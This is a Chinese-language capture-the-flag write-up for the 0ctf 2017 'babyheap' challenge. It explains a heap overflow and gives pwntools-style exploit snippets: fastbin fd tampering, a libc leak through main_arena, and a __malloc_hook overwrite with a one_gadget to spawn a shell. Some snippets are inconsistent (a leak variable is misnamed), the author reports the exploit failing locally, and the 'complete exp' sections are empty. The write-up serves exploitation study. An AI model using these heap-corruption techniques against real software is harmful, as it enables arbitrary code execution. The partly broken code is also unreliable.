babyheap_0ctf_2017做题记录
第一次做堆题,研究了好一会,最后还是在libc的one_gadget部分留下了一些疑点(很有可能是自己的libc替换操作问题?),希望过些时候能理解清楚。
2017_0ctf_babyheap
前言
遇上了glibc版本不匹配的问题,学习了一下patchelf
以及glibc_all_in_one
的使用。
函数漏洞主要是在Fill函数中填充数据大小没有和chunk大小做对比,存在堆溢出
主体思路:通过多种方法泄露libc基址,然后用arbitrary alloc
将chunk分配到__malloc_hook
附近,使用Fill函数覆盖 __malloc_hook
在该位置处构造ROP链。因为malloc会调用__malloc_hook
,所以调用malloc时会自动跳转执行ROP链
大致过程:
泄露libc基地址构造ROP链
因为开启aslr所以libc的基址会发生变化。采取unsorted bin leak
泄露main_arena
地址进而计算。通过ida查看libc中malloc_trim
函数中main_arena
相对于libc的偏移值。
下图为buu的ubuntu16中malloc_trim片段,可以看出main_arena
的偏移地址为0x3C4B20
(看了一下wiki计算基址的另外一种方法,直接dump出malloc_hook
偏移值进而+0x10获取基址,貌似也可行)
1 |
|
方法一:双指针指向small_chunk
首先试一下看雪老哥的方法,同时也是wiki的方法
泄露libc基地址
1
2
3
4
5
6
7allocate(0x10) #用以修改chunk1的值
allocate(0x10) #用以辅助chunk2指向chunk4(构造fastbinsY单向链表)
allocate(0x10) #用以指向chunk4的内容
allocate(0x10) #用以修改chunk4的值
allocate(0x80) # small bin
free(2)
free(1) #fastbin[0] -> babychunk1 -> babychunk2 <- 0x0分别往babychunk0和babychunk3填充数据。
- 对于babychunk0,首先填充完它自己的user data部分,然后填充babychunk1使得babychunk1的fd指针的最后一字节变成0x80,也就是使得babychunk4取代babychunk2在fastbin里的位置。
- 对于babychunk3,首先填充完它自己的user data部分,然后填充babychunk4,使得babychunk4的size变成0x20。
1
2
3
4
5
6payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
fill(0, len(payload), payload) #fastbin[0] -> babychunk1 -> babychunk4<- 0x0
#这里之所以能够直接send 0x80 以修改fastbin1的fd为chunk4是因为:
#堆的地址始终是 4KB 对齐的,第四个chunk的起始地址的首个字节必为0x80.
payload = 0x10 * 'a' + p64(0) + p64(0x21)
fill(3, len(payload), payload) #填充smallchunk,修改chunk_size 为 fastbin_size1
2
3#重新分配被free掉的chunk
allocate(0x10) #content指针指向被free掉的chunk1
allocate(0x10) #content指针指向smallchunk的content地址1
2
3#重新设置smallchunk的size为0x91
payload = 0x10 * 'a' + p64(0) + p64(0x91)
fill(3, len(payload), payload)分配一个新的0x90大小的babychunk5,目的是为了防止紧接着free的babychunk4和top chunk合并。
allocate了一个chunk5后,free babychunk4使得babychun4进入unsortedbin,此时babychunk4的fd和bk都指向(main_arena+88)。
1
2allocate(0x80)
free(4)利用dump选项泄漏babychunk4的fd(main_arena+88),计算libc基址。
1
2
3
4
5dump(2)
p.recvuntil("Content: \n")
arena_addr = u64(p.recv(8)) - 88
main_arena_offset = ELF("libc-2.23.so").symbols["__malloc_hook"] + 0x10 #wiki上获取基址的方法
libc_base = arena_addr - main_arena_offset实施
arbitrary alloc
将chunk分配到__malloc_hook附近
经过调试可得fake_chunk的size地址应为
0x7f7c95dceaf0 + 0x5
,即fake_chunk的地址应为main_arena - 0x2b - 0x8
(因为每次地址随机,所以采用相对寻址)根据chunk的size计算其在fastbin数组中index的宏如下所示:
1
#define fastbin_index(sz) ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
那么,64位程序:0x7f/16-2=5。所以0x7f对应的fastbin单链表要求的size为0x70,user data部分的size为0x60。
先构造实现fake_chunk的条件,创造一个fastbin并改写他的fd值使其指向fake_chunk
1
2allocate(0x60)
free(4)通过上图可以分析得: 原本被free掉的small_chunk被分割成了两个部分,前半部分为0x70(fast_bin),后半部分为0x20(unsorted_bin)。因此方才指向chunk4 content的指针还可以使用,直接通过Fill chunk2填充被分割而得来的新fastbin的fd,使其指向fake_chunk地址。紧接着alloc两个chunk,第一个获得改写过fd的chunk4,第二个获取
__malloc_hook
附近的chunk1
2
3
4
5
6fake_chunk_addr = main_arena - 0x2b - 0x8
fake_chunk = p64(fake_chunk_addr)
fill(2, len(fake_chunk), fake_chunk)
alloc(0x60)
#gdb() 具体情况如下图所示
alloc(0x60)#在此处gdb发现被alloc的chunk并不能在parseheap中显示最后写入ROP链并执行,理论上就打通了
1
2
3
4one_gadget_addr = libc_base + 0x4527a
payload = 0x13 * b'a' + p64(one_gadget_addr)
fill(6, len(payload), payload)
allocate(0x100)实际操作中打不通,看了wiki和其他师傅的wp后发现只要将
0x4527a
改成0x4526a
就打通了,(如图为我的one_gadget结果,使用的是all_in_one中的2.23-0ubuntu11.3_amd64)用了buuctf的
libc-2.23.so
看了一下。但是使用了buu给的libc之后本地仍然打不通…
方法二:通过chunk重叠泄露
1 |
|
allocate chunk为leak做准备
1
2
3allocate(0x60) #用作修改之后分配的chunk
allocate(0x40) #构造一个fastbin类的chunk1用作最终泄露的chunk
allocate(0x100) #构造一个smallbin类的chunk2用以泄露地址通过堆溢出修改chunk1的size(大小必须在fastbin范围之内),此处size修改为0x70
1
2payload= b'a'*0x60 + p64(0) + p64(0x71)
fill(0,len(payload),payload) #堆溢出修改chunk1_size构成重叠的chunk修改chunk2中fake_chunk中nextsize,用以通过free fastbin时的检查(以下为
_int_free 2.23
部分源码)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24//因为要将其分配到fastbin所以需要接受以下判断
if (__builtin_expect( //检查后面的chunk的size是否大于2*SIZE_SZ
chunksize_nomask(chunk_at_offset(p, size)) <= 2 * SIZE_SZ, 0) ||
__builtin_expect( //检查下一个chunk的size不大于sys_mem
chunksize(chunk_at_offset(p, size)) >= av->system_mem, 0)) {
/* We might not have a lock at this point and concurrent
modifications
of system_mem might have let to a false positive. Redo the test
after getting the lock. */
if (have_lock || ({
assert(locked == 0);
__libc_lock_lock(av->mutex);
locked = 1;
chunksize_nomask(chunk_at_offset(p, size)) <= 2 * SIZE_SZ ||
chunksize(chunk_at_offset(p, size)) >= av->system_mem;
})) {
errstr = "free(): invalid next size (fast)";
goto errout;
}
if (!have_lock) {
__libc_lock_unlock(av->mutex);
locked = 0;
}
}1
2
3
4payload= b'a'*0x10 + p64(0) + p64(0x71)
fill(2,len(payload),payload)
#由下图可见将chunk1_size成功改为了0x70,由于chunk2头位于chunk1的content中所以无法识别
#所以parseheap识别出的是chunk1的content段后自行填充的next_chunk的size值free chunk1使fake_chunk进入fastbin中,
allocate(0x60)
,重新将获取chunk1,因为程序中调用的时calloc,内容全部置零1
2free(1) #因为使用dump输出content时,输出的大小需要在allocate的size之内,所以需要重新分配chunk
allocate(0x60) #由下图可见重新分配的chunk1内容被置0直接通过Fill函数手动修改chunk2的头部,free chunk2然后通过dump chunk1泄露地址
1
2
3
4payload= b'a'*0x40 + p64(0) + p64(0x111)
fill(1,len(payload),payload)
allocate(0x50) #防止free掉的chunk2与topchunk合并
free(2) #由下图可见unsortedbin中 free掉的chunk2里fd和bk都已经指向了main_arena+88的位置泄露libc基址
1
2
3
4
5
6dump(1)
p.recvuntil("Content: \n")
p.recv(0x50)
main_aren88 = u64(p.recv(8))
main_arena_offset = ELF("libc-2.23.so").symbols["__malloc_hook"] + 0x10 #wiki上获取基址的方法
libc_base = arena_addr - main_arena_offset
接下来就是使用arbitrary alloc
利用__malloc_hook
获取shell
分析一下当前的chunk状况
1 |
|
1 |
|
1 |
|
完整exp
1 |
|
1 |
|